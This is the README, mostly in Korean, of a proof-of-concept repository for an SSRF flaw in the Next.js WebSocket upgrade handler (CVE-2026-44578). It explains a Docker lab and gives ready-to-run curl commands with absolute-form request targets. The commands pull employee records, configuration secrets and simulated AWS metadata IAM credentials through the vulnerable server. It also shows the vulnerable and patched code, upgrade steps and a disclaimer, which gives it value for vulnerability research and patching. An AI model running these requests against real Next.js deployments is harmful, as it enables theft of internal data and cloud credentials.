
Proof-of-concept exploit for CVE-2026-44578 that reproduces the vulnerable condition, enabling security researchers to validate affected systems and assess mitigations.
| 항목 | 내용 |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS | 8.6 (High) |
| CWE | CWE-918 (Server-Side Request Forgery) |
| 영향 버전 | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 |
| 패치 버전 | 15.5.16+, 16.2.5+ |
| 인증 필요 | 없음 (Unauthenticated) |
Next.js의 WebSocket 업그레이드 핸들러(upgradeHandler)가 HTTP 요청 라인에 삽입된
absolute-form URI(RFC 7230 §5.3.2)를 검증 없이 내부 서비스로 프록시하는 취약점.
외부에서 접근 불가능한 내부 서비스에 임의 HTTP 요청을 보낼 수 있다(SSRF).
[공격자]
│
│ WebSocket Upgrade 요청
│ GET http://internal-svc/api/v1/employees HTTP/1.1
│ Connection: Upgrade / Upgrade: websocket
▼
[nextjs-vuln :3000] ← 외부 노출
│
│ 무검증 프록시 (proxyRequest)
▼
[internal-svc :80] ← 내부망 전용, 외부 직접 접근 불가
│
├── GET /api/v1/employees → 사원 DB (이름·이메일·연봉·pw_hash)
├── GET /api/v1/config → DB 패스워드·JWT 시크릿·Redis 패스워드
└── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)
docker-compose ├── nextjs-vuln (Next.js 15.5.0, 취약 버전) └── internal-svc (FastAPI + SQLite, 내부망 전용)
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
빌드 완료 후 Next.js가 준비될 때까지 30~60초 소요.
준비 확인:
curl -s http://localhost:3000/api/hello | grep ok
일반 HTTP 요청은 GET /path HTTP/1.1 형태로 경로만 포함하지만,
RFC 7230 §5.3.2는 요청 라인에 전체 URL을 넣는 absolute-form을 허용한다.
GET http://internal-svc/api/v1/employees HTTP/1.1 ← absolute-form URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket
Next.js upgradeHandler는 이 URL을 파싱해 parsedUrl.protocol이 존재하면
목적지 검증 없이 proxyRequest()를 호출한다.
curl --request-target 옵션으로 요청 라인을 직접 지정할 수 있다.
curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
→ 이름·이메일·연봉·bcrypt 해시 전량 반환
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
router-server.js upgradeHandler)// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // ← 목적지 검증 없음
return await proxyRequest(req, socket, parsedUrl, head);
}
parsedUrl.protocol이 존재하기만 하면 바로 프록시. 대상 호스트가 내부 IP든
IMDS(169.254.169.254)든 무조건 전달된다.
15.5.16+)// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // ← finished 가드 추가
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
finished는 resolveRoutes 내부에서 요청이 정상 라우트에 매칭됐을 때만 true.
absolute-form URI는 정상 라우트에 매칭되지 않으므로 finished === false → 프록시 차단.
patch-for-lab.js)취약점 재현 환경에서는 resolve-routes.js가 ://를 연속 슬래시로 오인식해
http://host/path를 http:/host/path로 축소하는 동작이 SSRF를 우발적으로 차단한다.
patch-for-lab.js는 이 동작을 비활성화해 취약점이 정상 재현되도록 한다.
# 15.x 계열
npm install next@">=15.5.16"
# 16.x 계열
npm install next@">=16.2.5"
# 버전 확인
npx next --version
RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci
이 랩에 포함된 patch-defense.js로 현재 버전에 공식 패치 로직을 직접 적용:
# 랩 컨테이너 내부에서
node patch-defense.js
# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check
패치 적용 후 SSRF 요청은 응답 없이 차단된다.
CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # resolve-routes 패치 (SSRF 재현용) │ ├── patch-defense.js # router-server 방어 패치 (코드 수정 방어 증명용) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # FastAPI 내부 서비스 (SQLite + IMDS 시뮬레이션) │ └── requirements.txt └── exploit/ └── demo.sh # 6단계 자동 데모 스크립트
이 저장소는 보안 교육 및 취약점 연구 목적으로만 제공된다.
실제 서비스에 대한 무단 공격에 사용하는 것은 불법이며,
모든 테스트는 본인 소유 또는 명시적 허가를 받은 환경에서만 수행해야 한다.
This repository is intended solely for educational and authorized security research.
Unauthorized use against production systems is illegal.
All testing must be performed only in environments you own or have explicit permission to test.